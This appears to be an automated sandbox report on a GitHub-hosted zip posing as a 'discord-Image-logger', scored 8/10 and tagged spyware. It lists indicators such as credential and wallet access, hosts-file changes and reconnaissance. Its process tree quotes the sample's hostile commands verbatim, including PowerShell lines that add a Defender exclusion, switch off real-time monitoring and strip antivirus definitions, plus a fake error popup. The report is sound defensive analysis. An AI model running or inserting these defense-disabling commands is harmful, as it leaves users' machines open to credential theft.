hxxps://github[.]com/Loggersrus/discord-Image-logger/archive/refs/tags/beam[.]zip

Analysis

max time kernel
270s
max time network
271s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
22/04/2024, 21:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Loggersrus/discord-Image-logger/archive/refs/tags/beam.zip

Score

8^/10

spyware upx

Malware Config

Signatures

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Setup.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
5320	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe
3628	Setup.exe

UPX packed file 42 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023597-152.dat	upx
behavioral1/memory/3628-156-0x00007FFD5D380000-0x00007FFD5D969000-memory.dmp	upx
behavioral1/files/0x0008000000023582-159.dat	upx
behavioral1/files/0x0007000000023595-161.dat	upx
behavioral1/memory/3628-162-0x00007FFD72690000-0x00007FFD726B3000-memory.dmp	upx
behavioral1/memory/3628-164-0x00007FFD7BAC0000-0x00007FFD7BACF000-memory.dmp	upx
behavioral1/files/0x000900000002358b-170.dat	upx
behavioral1/memory/3628-171-0x00007FFD68ED0000-0x00007FFD68EFD000-memory.dmp	upx
behavioral1/files/0x0007000000023592-174.dat	upx
behavioral1/memory/3628-175-0x00007FFD72A40000-0x00007FFD72A59000-memory.dmp	upx
behavioral1/files/0x000700000002359a-179.dat	upx
behavioral1/memory/3628-178-0x00007FFD60E70000-0x00007FFD60E93000-memory.dmp	upx
behavioral1/memory/3628-185-0x00007FFD60B20000-0x00007FFD60B39000-memory.dmp	upx
behavioral1/files/0x0007000000023596-191.dat	upx
behavioral1/files/0x0007000000023594-194.dat	upx
behavioral1/memory/3628-195-0x00007FFD5F780000-0x00007FFD5F838000-memory.dmp	upx
behavioral1/memory/3628-192-0x00007FFD60AF0000-0x00007FFD60B1E000-memory.dmp	upx
behavioral1/memory/3628-187-0x00007FFD78DB0000-0x00007FFD78DBD000-memory.dmp	upx
behavioral1/files/0x000700000002359b-203.dat	upx
behavioral1/memory/3628-206-0x00007FFD75DB0000-0x00007FFD75DBD000-memory.dmp	upx
behavioral1/memory/3628-207-0x00007FFD5CD70000-0x00007FFD5CE8C000-memory.dmp	upx
behavioral1/memory/3628-205-0x00007FFD5D380000-0x00007FFD5D969000-memory.dmp	upx
behavioral1/files/0x000800000002358e-202.dat	upx
behavioral1/memory/3628-201-0x00007FFD60AD0000-0x00007FFD60AE4000-memory.dmp	upx
behavioral1/memory/3628-208-0x00007FFD72690000-0x00007FFD726B3000-memory.dmp	upx
behavioral1/files/0x0008000000023589-199.dat	upx
behavioral1/memory/3628-197-0x00007FFD5CE90000-0x00007FFD5D209000-memory.dmp	upx
behavioral1/files/0x0007000000023593-188.dat	upx
behavioral1/files/0x0007000000023599-184.dat	upx
behavioral1/files/0x0007000000023591-182.dat	upx
behavioral1/memory/3628-180-0x00007FFD5D210000-0x00007FFD5D380000-memory.dmp	upx
behavioral1/files/0x000b00000002357f-173.dat	upx
behavioral1/memory/3628-257-0x00007FFD60E70000-0x00007FFD60E93000-memory.dmp	upx
behavioral1/memory/3628-317-0x00007FFD5D210000-0x00007FFD5D380000-memory.dmp	upx
behavioral1/memory/3628-329-0x00007FFD60B20000-0x00007FFD60B39000-memory.dmp	upx
behavioral1/memory/3628-330-0x00007FFD60AF0000-0x00007FFD60B1E000-memory.dmp	upx
behavioral1/memory/3628-344-0x00007FFD5F780000-0x00007FFD5F838000-memory.dmp	upx
behavioral1/memory/3628-346-0x00007FFD5CE90000-0x00007FFD5D209000-memory.dmp	upx
behavioral1/memory/5000-430-0x000001FBE8EA0000-0x000001FBE8EB0000-memory.dmp	upx
behavioral1/memory/3628-500-0x00007FFD5D210000-0x00007FFD5D380000-memory.dmp	upx
behavioral1/memory/3628-495-0x00007FFD72690000-0x00007FFD726B3000-memory.dmp	upx
behavioral1/memory/3628-494-0x00007FFD5D380000-0x00007FFD5D969000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
303	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5560	WMIC.exe
756	WMIC.exe
5420	WMIC.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery

T1057

pid	Process
804	tasklist.exe
3248	tasklist.exe
2308	tasklist.exe
5308	tasklist.exe
5112	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5208	systeminfo.exe

Kills process with taskkill 18 IoCs

evasion

pid	Process
2284	taskkill.exe
3460	taskkill.exe
4460	taskkill.exe
620	taskkill.exe
5776	taskkill.exe
1564	taskkill.exe
5256	taskkill.exe
5484	taskkill.exe
1576	taskkill.exe
5808	taskkill.exe
1704	taskkill.exe
5908	taskkill.exe
740	taskkill.exe
1652	taskkill.exe
5224	taskkill.exe
5432	taskkill.exe
212	taskkill.exe
1828	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
5080	msedge.exe
5080	msedge.exe
2624	msedge.exe
2624	msedge.exe
4076	identity_helper.exe
4076	identity_helper.exe
5508	msedge.exe
5508	msedge.exe
5508	msedge.exe
5508	msedge.exe
1628	msedge.exe
1628	msedge.exe
3360	powershell.exe
3360	powershell.exe
2644	powershell.exe
2644	powershell.exe
3360	powershell.exe
2644	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe
4624	powershell.exe
4624	powershell.exe
4624	powershell.exe
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
5000	powershell.exe
5000	powershell.exe
5000	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	804	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4436	WMIC.exe
Token: SeSecurityPrivilege	4436	WMIC.exe
Token: SeTakeOwnershipPrivilege	4436	WMIC.exe
Token: SeLoadDriverPrivilege	4436	WMIC.exe
Token: SeSystemProfilePrivilege	4436	WMIC.exe
Token: SeSystemtimePrivilege	4436	WMIC.exe
Token: SeProfSingleProcessPrivilege	4436	WMIC.exe
Token: SeIncBasePriorityPrivilege	4436	WMIC.exe
Token: SeCreatePagefilePrivilege	4436	WMIC.exe
Token: SeBackupPrivilege	4436	WMIC.exe
Token: SeRestorePrivilege	4436	WMIC.exe
Token: SeShutdownPrivilege	4436	WMIC.exe
Token: SeDebugPrivilege	4436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4436	WMIC.exe
Token: SeRemoteShutdownPrivilege	4436	WMIC.exe
Token: SeUndockPrivilege	4436	WMIC.exe
Token: SeManageVolumePrivilege	4436	WMIC.exe
Token: 33	4436	WMIC.exe
Token: 34	4436	WMIC.exe
Token: 35	4436	WMIC.exe
Token: 36	4436	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4436	WMIC.exe
Token: SeSecurityPrivilege	4436	WMIC.exe
Token: SeTakeOwnershipPrivilege	4436	WMIC.exe
Token: SeLoadDriverPrivilege	4436	WMIC.exe
Token: SeSystemProfilePrivilege	4436	WMIC.exe
Token: SeSystemtimePrivilege	4436	WMIC.exe
Token: SeProfSingleProcessPrivilege	4436	WMIC.exe
Token: SeIncBasePriorityPrivilege	4436	WMIC.exe
Token: SeCreatePagefilePrivilege	4436	WMIC.exe
Token: SeBackupPrivilege	4436	WMIC.exe
Token: SeRestorePrivilege	4436	WMIC.exe
Token: SeShutdownPrivilege	4436	WMIC.exe
Token: SeDebugPrivilege	4436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4436	WMIC.exe
Token: SeRemoteShutdownPrivilege	4436	WMIC.exe
Token: SeUndockPrivilege	4436	WMIC.exe
Token: SeManageVolumePrivilege	4436	WMIC.exe
Token: 33	4436	WMIC.exe
Token: 34	4436	WMIC.exe
Token: 35	4436	WMIC.exe
Token: 36	4436	WMIC.exe
Token: SeIncreaseQuotaPrivilege	756	WMIC.exe
Token: SeSecurityPrivilege	756	WMIC.exe
Token: SeTakeOwnershipPrivilege	756	WMIC.exe
Token: SeLoadDriverPrivilege	756	WMIC.exe
Token: SeSystemProfilePrivilege	756	WMIC.exe
Token: SeSystemtimePrivilege	756	WMIC.exe
Token: SeProfSingleProcessPrivilege	756	WMIC.exe
Token: SeIncBasePriorityPrivilege	756	WMIC.exe
Token: SeCreatePagefilePrivilege	756	WMIC.exe
Token: SeBackupPrivilege	756	WMIC.exe
Token: SeRestorePrivilege	756	WMIC.exe
Token: SeShutdownPrivilege	756	WMIC.exe
Token: SeDebugPrivilege	756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	756	WMIC.exe
Token: SeRemoteShutdownPrivilege	756	WMIC.exe
Token: SeUndockPrivilege	756	WMIC.exe
Token: SeManageVolumePrivilege	756	WMIC.exe
Token: 33	756	WMIC.exe
Token: 34	756	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe
2624	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5240	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 4376	2624	msedge.exe	85
PID 2624 wrote to memory of 4376	2624	msedge.exe	85
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 2288	2624	msedge.exe	86
PID 2624 wrote to memory of 5080	2624	msedge.exe	87
PID 2624 wrote to memory of 5080	2624	msedge.exe	87
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88
PID 2624 wrote to memory of 5084	2624	msedge.exe	88

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1524	attrib.exe
6088	attrib.exe
3088	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Loggersrus/discord-Image-logger/archive/refs/tags/beam.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd71e846f8,0x7ffd71e84708,0x7ffd71e84718
  2⤵
  PID:4376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
  2⤵
  PID:2288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2920 /prefetch:8
  2⤵
  PID:5084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
  2⤵
  PID:2220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:1592
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5384 /prefetch:8
  2⤵
  PID:3232
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5384 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4724 /prefetch:8
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4936 /prefetch:1
  2⤵
  PID:4352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
  2⤵
  PID:5372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
  2⤵
  PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6156 /prefetch:1
  2⤵
  PID:5628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:5636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4972 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,13659147979567198670,4061019507645673097,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1264 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1628

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1440

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:676

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5432

C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe"
1⤵
PID:4920
- C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  PID:3628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe'"
    3⤵
    PID:3192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:5952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error -100 (the initial part of the request has been received by the server and that the client should proceed with the request or ignore the response if the request has already finished)', 0, 'ERROR', 0+16);close()""
    3⤵
    PID:1276
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error -100 (the initial part of the request has been received by the server and that the client should proceed with the request or ignore the response if the request has already finished)', 0, 'ERROR', 0+16);close()"
      4⤵
      PID:5984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5092
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6088
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:3612
